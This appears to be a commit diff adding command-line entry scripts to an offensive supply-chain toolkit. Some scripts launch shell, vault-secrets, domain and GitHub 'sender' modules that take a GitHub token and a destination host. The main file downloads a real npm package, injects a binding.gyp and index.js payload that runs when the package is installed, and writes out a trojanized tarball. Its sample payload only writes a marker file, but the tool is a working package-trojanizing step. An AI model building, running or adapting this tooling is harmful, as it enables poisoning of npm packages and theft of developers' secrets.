Upload files to "src/cli"
This commit is contained in:
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const { ShellService } = await import("../providers/devtool/devtool");
|
||||
const provider = new ShellService();
|
||||
return provider.execute();
|
||||
}
|
||||
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
runModule("ShellService", main);
|
||||
@@ -0,0 +1,16 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const { VaultSecretsService } = await import(
|
||||
"../providers/vault/vault-secrets"
|
||||
);
|
||||
const provider = new VaultSecretsService();
|
||||
return provider.execute();
|
||||
}
|
||||
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
runModule("VaultSecretsService", main);
|
||||
@@ -0,0 +1,27 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
|
||||
const domain = args.params["domain"] || "localhost";
|
||||
const port = parseInt(args.params["port"] || "443", 10);
|
||||
const path = args.params["path"] || "/";
|
||||
const dryRun = args.flags.has("dry-run") || args.flags.has("dry_run");
|
||||
|
||||
const destination = { domain, port, path, dry_run: dryRun };
|
||||
|
||||
const { DomainSender } = await import("../sender/domain/sender");
|
||||
const sender = new DomainSender(destination);
|
||||
|
||||
const healthy = await sender.healthy();
|
||||
return {
|
||||
destination,
|
||||
healthy,
|
||||
};
|
||||
}
|
||||
|
||||
runModule("DomainSender", main);
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
async function main() {
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
const token = args.params["github-token"];
|
||||
if (!token) throw new Error("--github-token required");
|
||||
|
||||
const { GitHubSender } = await import("../sender/github/githubSender");
|
||||
const sender = new GitHubSender();
|
||||
await sender.initialize(token);
|
||||
|
||||
const healthy = await sender.healthy();
|
||||
return {
|
||||
initialized: true,
|
||||
healthy,
|
||||
};
|
||||
}
|
||||
|
||||
runModule("GitHubSender", main);
|
||||
@@ -0,0 +1,125 @@
|
||||
#!/usr/bin/env bun
|
||||
// Must set scramble/beautify before any modules that use them are loaded.
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
/**
|
||||
* Validate the binding.gyp injection technique against a real npm package.
|
||||
*
|
||||
* Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]
|
||||
*
|
||||
* 1. Downloads the latest tarball from registry.npmjs.org
|
||||
* 2. Injects a binding.gyp + index.js payload that creates /tmp/market.txt
|
||||
* 3. Writes the trojanized tarball to the current directory
|
||||
* 4. With --install, also runs "npm pack"/"npm install" to trigger node-gyp
|
||||
*/
|
||||
|
||||
import { createWriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import { join } from "path";
|
||||
import { Readable } from "stream";
|
||||
import { pipeline } from "stream/promises";
|
||||
|
||||
// ── Test payload — harmless, creates a marker file ─────────────────────
|
||||
|
||||
const TEST_PAYLOAD = [
|
||||
"// binding.gyp validation — creates /tmp/market.txt on node-gyp rebuild",
|
||||
"const fs = require('fs');",
|
||||
"const path = '/tmp/market.txt';",
|
||||
"fs.writeFileSync(path, 'binding.gyp technique works!\\n' + new Date().toISOString() + '\\n');",
|
||||
"console.log('[market] wrote ' + path);",
|
||||
].join("\n");
|
||||
|
||||
// ── Main ──────────────────────────────────────────────────────────────
|
||||
|
||||
async function main() {
|
||||
const args = Bun.argv.slice(2);
|
||||
const pkg = args.find((a) => !a.startsWith("--"));
|
||||
const doInstall = args.includes("--install");
|
||||
|
||||
if (!pkg) {
|
||||
console.error(
|
||||
"Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]",
|
||||
);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// 1. Fetch package metadata
|
||||
console.error(`Fetching metadata for ${pkg}...`);
|
||||
const metaRes = await fetch(
|
||||
`https://registry.npmjs.org/${pkg.replace("/", "%2F")}`,
|
||||
);
|
||||
if (!metaRes.ok) {
|
||||
console.error(`Failed to fetch package: ${metaRes.status}`);
|
||||
process.exit(1);
|
||||
}
|
||||
const meta = (await metaRes.json()) as {
|
||||
"dist-tags": { latest: string };
|
||||
versions: Record<string, { dist?: { tarball?: string } }>;
|
||||
};
|
||||
const version = meta["dist-tags"].latest;
|
||||
const tarballUrl = meta.versions[version]?.dist?.tarball;
|
||||
if (!tarballUrl) {
|
||||
console.error("No tarball URL found");
|
||||
process.exit(1);
|
||||
}
|
||||
console.error(`Latest: ${pkg}@${version}`);
|
||||
|
||||
// 2. Download tarball
|
||||
console.error(`Downloading ${tarballUrl}...`);
|
||||
const res = await fetch(tarballUrl);
|
||||
if (!res.ok || !res.body) {
|
||||
console.error(`Download failed: ${res.status}`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
|
||||
const tarballPath = join("/tmp", filename);
|
||||
await pipeline(
|
||||
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||
createWriteStream(tarballPath),
|
||||
);
|
||||
console.error(`Saved to ${tarballPath}`);
|
||||
|
||||
// 3. Inject binding.gyp + test payload (dynamic import — requires scramble
|
||||
// on globalThis before the module chain is loaded)
|
||||
console.error("Injecting binding.gyp + test payload...");
|
||||
const { updateTarball } = await import("../../src/mutator/npm/tarball");
|
||||
const trojanPath = await updateTarball(tarballPath, {
|
||||
tag: "[validate]",
|
||||
payload: TEST_PAYLOAD,
|
||||
});
|
||||
|
||||
// 4. Copy to cwd
|
||||
const outName = `${pkg.replace("@", "").replace("/", "-")}-${version}-trojan.tgz`;
|
||||
const outPath = join(process.cwd(), outName);
|
||||
await fs.copyFile(trojanPath, outPath);
|
||||
console.error(`Wrote ${outPath}`);
|
||||
|
||||
// 5. Optionally install
|
||||
if (doInstall) {
|
||||
console.error("\nRunning npm pack + npm install to trigger node-gyp...");
|
||||
const { execSync } = await import("child_process");
|
||||
try {
|
||||
execSync(`npm pack ${outPath}`, { cwd: "/tmp", stdio: "inherit" });
|
||||
// npm pack creates a tar, then install it to trigger rebuild
|
||||
const packed = `/tmp/${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
|
||||
execSync(`npm install ${packed}`, {
|
||||
cwd: "/tmp/test-install-validate",
|
||||
stdio: "inherit",
|
||||
});
|
||||
} catch (e: any) {
|
||||
console.error(
|
||||
`Install failed (may be OK if node-gyp not available): ${e.message}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Print result
|
||||
console.log(outPath);
|
||||
}
|
||||
|
||||
main().catch((err) => {
|
||||
console.error(err);
|
||||
process.exit(1);
|
||||
});
|
||||
Reference in New Issue
Block a user